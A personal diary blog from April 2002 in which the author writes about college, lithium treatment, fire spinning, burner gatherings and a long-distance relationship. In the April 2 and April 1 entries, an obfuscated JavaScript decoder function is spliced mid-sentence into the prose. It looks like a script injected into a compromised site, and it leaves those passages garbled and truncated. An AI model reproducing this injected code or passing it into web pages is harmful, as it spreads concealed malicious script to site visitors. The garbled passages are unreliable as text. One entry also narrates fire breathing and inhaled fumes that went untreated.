spectating participant

April 29, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

I watched a couple hold hands as they move down the sidewalk. They stopped at the corner and kissed. “See you when I get home, about 9 or 10.” One turned to cross the street but turned back for one more kiss first. Do you think they know how lucky they are?

April 27, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

Today is better than yesterday. I don’t know why; nothing has changed or improved. But today feels better than yesterday. I got my house cleaned up. Not spotless, but not an endless sea of mess either. I discovered that I do indeed have a floor. I also discovered that the floor is in dire need of a vacuuming. When sewing my corset, I ended up getting strings and fabric scraps everywhere. But maybe I should wait until after I get my other PDF outfits completed.

Speaking of PDF, looks like I won’t be going to ranger training. It’s about impossible at this point. I really hate admitting that I can’t do something I want, but I also need to be somewhat more practical about what I can do. And I also have to admit that I am walking that very fine line that may stop me from coming to PDF at all. So, I’ll step carefully and try to be optimistic. Who knows, maybe I’ll win to lottery and be able to do it all.

April 26, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

I’m becoming a very bitter woman. I’m trying really hard not to. But, it is getting pretty difficult to not be just a little bit crabby. To spare anyone else the whiney details, I’ll just say today has been a very bad day. I keep hoping I’ll find some little light or birghtness to it, but the hours pass by and nothing comes.

Alex is at Kid’s Night Out. A great opportunity for both kids and parents to take a break from each other. Kids grab their sleeping bags and jammers and hang out in the school for a evening full of pizza and movies. Parents get to go out to a nice dinner or get some housework/homework completed. Then, in the evening, a relaxed-parent and groggy-kid reunite and head home for the weekend. I’m supposed to be out at Kelly’s Bleachers, a local club, mingling with the American Sign Language Interperters and others. It’s supposed to be one of community assignments for the semester. But, I don’t have the cash to buy a drink or the smile to convince a bounser that I don’t have to pay a cover. So, instead, I’m in a coputer lab. Guess I should be happy about it.

Oh, great. Just found out that I no longer cellular service either. Damn. Guess I better stock on quarters for the 50cent payphone charges. And hope that I can still get incoming calls. Otherwise, what was the purpose of all those resumes and applications I just sent out. ::sigh::

April 25, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

Please just give me a minute to try and think strait, that’s all I ask. This is how my life feels lately. So much happening, so many things colliding, so much. But I think I can handle it. Added a few new galleries:

Catonsville Breakfast:
Well, we met in Catonsville and walked over the Arbutus for breakfast. So, the name is kinda misleading. This was part of the last-minute trip to Maryland for the PDF planning meeting. Mostly pictures of the neat little shop we stumbled upon and most pictures will find their way onto Mirror Project eventually.

Charles Village:
Some pictures taken while walking to dinner following the planning meeting.

April Beach:
Wow, a gallery actually taken in Milwaukee. I was killing time before going to Milwaukee Pagan Pub Moot. The beach is literally made up of thousands of shells. It was neat how they crunched and cracked as I walked over them.

Fells Point at Night:
Back to Maryland again. Friday night before the 4.20 protests, Rob and I headed down to Fells to have dinner with his mom. I think I passed the mom test, which is good. And then, I got subjected to the friends test too. I got to meet Gabe and Tracey, some of Rob’s friends, after hanging out on the dock.

4.20 Protests:
The Washington DC protests. Basically you could be there protesting about anything you wanted and still fit in. I went for the Anti-Globalization protests but spent my time around other groups instead. Guess that’s just how things work out sometimes.

So, that’s part of what I have been up to. When I got home from DC, I wanted to talk about the Passion party and how wonderful it was. But, time passed by and now I feel like I missed my chance. I also wanted to talk about the crazy adventure home from DC, which involved two cars, a plane, two trains, and two busses. But again, I felt I waited to long to bitch about that.

Now I’m just trying to get caught up, and this is where I am at now. Thursday afternoon. Stopped at my mom’s house earlier, I don’t know why, and ended up going out to lunch. It’s funny how well that woman knows me. “Started taking your meds again,” she asked from the hallway. “You know, I can tell when you haven’t.” Damn. I hate when she is right. But I’m back on the lithium and trying to establish a minimum three-month commitment with them. We’ll see just how this goes.

My hunny is out of town (well out of his town) for the weekend. Which means, no irc, no email, no mid-day phone calls, no contact. Yeah, it sucks. Isn’t it enough that I already miss him because he is 900 miles away? Now I have to miss him and not get to do anything about it? Life just isn’t fair.

April 17, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

I donĘt know how to explain the rocks thrown through glass ceilings. I donĘt know what to do when the tissue paper flooring falls through. I just know that falling sensation. I can feel the life preserver slipping past my fingertips and I donĘt know how to stop it.

“You know, as wonderful as my life always is,” I forced through pressed lips. That should have been the first sign. Then a sudden urge, almost desperate need to flee where IĘm standing. Can you imagine the suffocating emotion? Getting trapped in the middle of a conversation, being cornered with obligations, being stuck in a place that I canĘt get out of makes it worse.

Finally, escaping in my car. But I canĘt escape the irrationality of it. I canĘt get away from the frustration of it. I canĘt help but fall further because I know how illogical it is. Trapped between glass widows, moving further away from the situation only to move closer to sudden exasperation.

I called you just to say hi. I called you just to hear your voice, to hear normal sanity on the line. I called you for a distraction, to be that reminder about how wonderful things truly are. I called you cause it seemed like the best thing I could do.

April 15, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

“It is easier to resist at the beginning than at the end.”

The perfect summary for this weekend. Magorn stopped at P.F. Changs for some dee-lish lettuce wraps. Tucked away inside a fortune cookie was that simple statement and how true it was. Magorn started off the weekend wondering how I managed to talk into such a crazy idea. By the end, he was happy to have taken the road trip and seemed to even hint or suggest that I might be able to talk him into doing it again. Score!

Even though I spent approximately 30 hours driving this weekend, it was worth every single moment. Now, I can’t say that I’m planning out my next drive out there. All that driving did remind me about how much nicer it is to sit back on a plane or wait at the airport. But at least I know that it is a good option when I need that fix.

I just couldn’t let this perfect day slip by without being outside for a while. So as those typical “I’m hungry” sounds started erupting from a wonderful, little girl, I headed off to the park for a picnic. We threw down our blanket on the still soft ground and dined. The temperature was perfect. Looking around, several families filed the park.

I was quickly reminded of something that I had forgotten about: the great feeling of seeing children running around and parents standing about chitchatting. I missed the days living on Ellsworth Air Force base where every evening you could step outside with a glass of iced tea and walk over to see your neighbors. Your kids would run off together with their own personal games while the sun disapeared in the sky. Soon, everyone headed back inside to start the bathtime and bedtime routines. And you knew that tomorrow night would bring the same thing.

Guess I’ve really fallen out of the family-orientated community, and until today I hadn’t remembered it enough to miss it. But the warm spring breeze and the familiar sound of child-like happiness was a fresh reminder. I will have to find way to incorporate that back into my life somehow, even if it means dropping a few of the other activities I’m used to.

April 11, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

Sometimes I come up with the craziest ideas. While sitting on channel, I had the wonderful idea that I should drive to Baltimore for the PDF planning meeting (to be held this Saturday). Now, nevermind the fact that I am going to be in Baltimore next weekend for the 420 protests and the 420 party. No, that didn’t matter to me when I started enlisting the help of fellow burner, another driver, my good buddy Magorn.

And thanks to the wonderful help of others, I was able to convince Magorn to be ready to go bright and early tomorrow morning and make that 900-mile trek. Seesh, what was I thinking? So, now I’m rushing around to finish my laundry, work on some homework, and to get my stuff packed up for tomorrow. But at least I won’t be going to bed at 2 am this time. But I still think someone needs to talk a little bit of sense into me, because this is just plain crazy.

April 10, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

“Waded through my waiting room of sensual delight.”
I woke up, singing that in my mind. Various notes still linger, even now, hours later. I can’t quite picture the moment, I can’t quite imagine the surroundings, but I know you were there. Sweet-lipped kisses, I could still taste with my tongue. Warm, prolonged embraces, I could still feel against my arms. But thats all I could remember. But that’s all I could recall. Yet, what a beautiful platform for my imagination to build upon. Especially knowing that you were there.

April 8, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

Wow, itĘs early but itĘs late at the same time. The fundraiser for SPAN, the Midwest burn (I canĘt spell the name yet), and Deeply Rooted was good. Met some cool people, saw the cool old people too. However, all those complaints I had about indoor fire spinning from last light, just [insert them here] and add to them the big complaint of how much slipper and messier lamp oil is. I guess the Milwaukee/Chicago fire spinning crowd will keep its reputation for being a little crazy and not very safe.

Of course, we were using lamp oil cause we didnĘt want the smoke from kero. But we only had lamp oil because I bought some for fire breathing. I only did one set of spinning indoors and spent the rest of the time trying to clean up the horribly, slippery floor. Did the fire breathing outside, but I think I did something wrong. My lungs hurt.

Called up Poison Control and after describing the problem and being placed on hold, she gets back on the phone to say that my request was beyond the scope of the Poison Control center. Ha. Inhaling toxic fumes is beyond their scope, huh? Maybe if I hadnĘt had to explain how I inhaled the fumes, it would have been better, but well.. better luck next time. She suggested I go ahead and visit the hospital. I said that sounded like a good plan. I hung up the phone and got ready for bed. If my lungs still hurt tomorrow, IĘll go see someone. But till then, it canĘt be that bad.

The lungs seems to be showing signs of improvement. Guess I will just weather this out until it goes away completely. And take a little break from putting flamable fluids in my mouth for a while, or at least until PDF. Better speed up a little this moring, not going to make it anywhere on time at this rate.

I hate April 8th. I don’t think I can fit any more crappy things into this day so I am going to turn in early to prevent anything else from happening. Now, if my house burns down while I am sleeping, I won’t be surprised because it will fit right in with everything else.

April 7, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

Hangovers suck. They suck even more when you realize that you only had 3 drinks and one didn’t contain alcohol. I don’t know if should blame the beer or blame the lithium (which I have finally started taking regularly again). But anyways, I’m sure a couple glasses of water and possibly a pill or two will take care of it.

Went to Thai Joe’s last night for the “Donkey Punch: Techno Booty Bondage Fest.” Pretty impressive for Milwaukee, I must add. It was a great excuse to get dressed up and have little bit of fun.

There were several people in various costumes. Lots of bondage stuff (surprise) and I even managed to get whipped a few times before the night ended. However, I did skip out on the hot wax treatment. There was a “circus” act as well with various painful acts (laying nude in tons of broken glass, sticking needles through genitals, etc.). They also had a pretty good fire eating and breathing set as well. Add into that, one chick spinning poi, and one spinning fire staff, and it was an alright show. HOwever, maybe I’m the only one who cared about the fuel being splashed, dripped, sprayed all over the floor and not cleaned up. Maybe no one else noticed that there was no one around telling people they should stay back and that some of the fireballs were just a touch close to the crowd. And of course, there was the incident of a fire staff spinning off into the crowd. Yeah, but then again, what do I care? Do I look like a member of the fire safety police?

So I manage to get home about 2:30am, but thanks to Daylight Savings time it was really 3:30am. And after playing alarm clock for someone that had to be up for some hamfest, I finally got to sleep. However, this morning, I stumbled out of bed and into the hallway. Due to the trail of shoes, garter belt, thigh highs, underwear, skirt, and corset, I had to look back in my bed once more to be sure that I did sleep alone. And of course, there had been no last minute, record breaking flights from BWI to MKE, so my bed was empty.

Now it’s already time to get ready for another party and figure out another costume to wear. Life is good. And soon, it will get a little better.

April 5, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

I have stars in my keyboard. Some people’s keyboards collect lint, dust, hair, chip crumbs, crumbled leaves, and anything small enough to slip between the keys. Mine has a couple of those things, but most notable are the shiny silver stars peeking out at me from behind the “K” and “M” along with a few other keys. Guess it makes me feel even more special knowing that my hunt-and-peck typing is rewarded with a little sparkle every day.

April 4, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

I finally did it. I finally signed up and posted my very first node: burner dream. IĘm surprised that it took me this long. Since finding out about this site back in October 2001, I have come up with a million different ideas of things to post. But, my ego is fragile, and e2 just didnĘt seem like the right place for me. But, I am reconsidering and thinking itĘs about time I have some outsiders around to kick my ass when it comes to writing. And who knows, if this node works out, maybe I will even share what prompted it.

April 3, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

Really, how much cologne do you need to wear to the lab? What makes you think that your spiked hair, leather jacket, and dress slacks is going to impress the unix chick sitting next to you? That sheepish smile is destroyed as soon as you open you backpack.

Watching my reaction from the corner of your eye, you hoist your MCSE study guide on the table. Ooh, ahh, I’m sooo impressed by your attempted understanding of the complexities of a NT network. I simply roll my eyes and return to my screen and continue working on my newest obsession: CSS. Noticing my lack of interest, you flip through an few emails (on panthermail and not pine), pack up, and move off to a different terminal. Seesh, did you really think that was going to work? You’ll definatly have to step your geekiness up a level or two if you want to compete. Perhaps be around at 3am on a Friday night. Or maybe, show up a spin jam some month. But even then, you’re wasting your time.

April 2, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am

My daughter has turned into a 16 year old. Earlier she tells me, “We need to buy some more soy milk. We’re out.” Now, there isn’t anything really special about that. Well nothing other than the pure satisfaction of seeing my mother’s reaction when her precious granddaughter walks in her house and tells her, “I want you to buy some soy milk.”
My mother seems to hate the “strange” diet that I keep. She is a function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand+tators”>meat and tators woman from a meat and tators family. “You have to eat meat every day,” she reminds me everytime we get on the subject of food. And of course, I simply reply with why you don’t need to eat meat and we both stare each other down with “well, I know I’m right” glares. Yeah, watching my daughter insist that milk other than skim makes her sick and then coming in stating that she now wants soy is entertainment at its best (well, I have to do something since I don’t watch tv).
But anyways, I go to the fridge for a glass of ice-cold tap water. And what do I find but the empty carton of Silk. Argh! Don’t tell me that it has already started. I don’t know what it so irritating about finding an empty container in the fridge, but it’s enough to make me yell. Especially considering the fact that it actually takes more energy to open the fridge door and put the carton away than it would take to simply drop it in the trashcan. But I guess I have even been guilty of running on autopilot and just putting things in places without thinking. Oh well.

April 1, 2002


Filed under: unlisted — suzanne henderson @ 12:00 am


I drove away. He was standing there at the curb, two black bags in hand and the ranger hat on his head. One last glimpse of that smile left the sinking feeling that time had been cut short again.

As I left the airport, I thought back on the past 58 hours and wondered how we both managed to fill the time with so much…

“9:30 at night, why so late?” I asked myself as I drove to the airport Friday night. It was Good Friday, no school, and I spent the entire day waiting for 9:30pm. It sure cramps a day when you’re supposed to be doing productive things: cleaning, packing, cooking; but instead, you spend time watching the clock. 9:30 neared and I arrived to the airport perfectly on time (3 minutes prior to his plane arriving). But even those brief 15 minutes that I waited for his smiling face to walk out of terminal D seemed to stretch on forever. Around me, families reunited passed with delighted squeals as grandkids hugged grandparents. Separated lovers intertwined arms and lips with passionate greetings. Waiting was hard, but soon I had you in my arms and against my lips. Finally back to where we both belong.

Oh but enough of that mushy stuff, on to the grunt work.

Saturday morning we woke up bright an early, frantically packed my stuff, put together my very first original recipie, and headed out the door a couple hours behind schedule. The drive was enjoyable with wonderful conversation. Found out that if you want to hear good music, you have to check out “The best mixes of central Wisconsin.” Rob couldn’t resist singing along with function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndands+suck”>Nsync. The further North that we drove the further the temperatures dropped. Occasional snow flurries scattered the window, what a great weekend to go camping.

But we finally made it, saw the sign and turned in. And of course, we are greeted by my favorite burner, the only other committed volunteer there to help Wade for the work weekend. We went right to work, hauled some rocks a million miles (or so it seemed). When stomping through 8 inches of snow, even a small path-marking rock can feel heavy. I started wondering why I didn’t pick a smaller rock or decide to carry just one. Of course, Wade got a hefty rock hoisted up on his shoulder and was just trucking along. I brought up the tail.

Work and socializing took place all day. Chainsaws were started, fires were started, and the snow started. We managed to get a good deal of work done. Brush was hauled, wood was gathered, and I chopped wood for the first time ever. Boy, that way fun.

As the sun went down, we enjoyed a bowl of chili and began telling stories. Rob was in his perfect element and had no problem entertaining us as one story segued into another and another. What a great way to spend a snowy, camping night in Wisconsin. And in good old-fashioned-styled, we all turned it by 9pm.

Morning was cold, so I snuggled a little closer and drifted back into sleep a few times. Finally, after a strong case of guilt set in, I was finally up and out of bed. I was worried that Wade and Bobby had been up working for hours while I enjoyed a few private moments. But, I was also in charge of cooking breakfast, and well, the men needed to be fed. Thanks to Sara’s inspiration, I made fruit crepes for breakfast. They were rather successful and Wade even volunteered that I be in charge of cooking every time I come to DR. Of course, this is after ridiculing me for not knowing how to build a fire and for asking if he had a crepe pan. I admit, I managed to build a fire, make some damn good chili, and reward them with delicious crepes for breakfast, so I took the compliment gracefully. Oh Sara, did I ever say thanks for letting me know how wonderful crepes are? Thanks!

We washed dishes. We packed. We hiked. The weather seemed a little warmer and the snow a little firmer. We tackled a new challenge of being able to walk on the top of the snow without sinking down to the groud. While taking a short tour of the property, we found the bridge Wade drug out to a patch of [frozen] water. Thank you, Wade, for bringing that out there! Finally, after everything was taken care of and only one thing forgotten and left behind, we’re we headed back to Milwaukee.

After getting home, there was little to do: simply take advantage of the reaming hours and then head off to the airport. And now, I’m back at school, back to a normal week and already I miss him so much. How will I be able to wait until 420? The Passion party seems so far away. Oh wait, 4.20’s main focus is supposed to be the big protest. Yeah, thatĘs why I’m going to DC is for the protest, I sure you believe that. ::wink::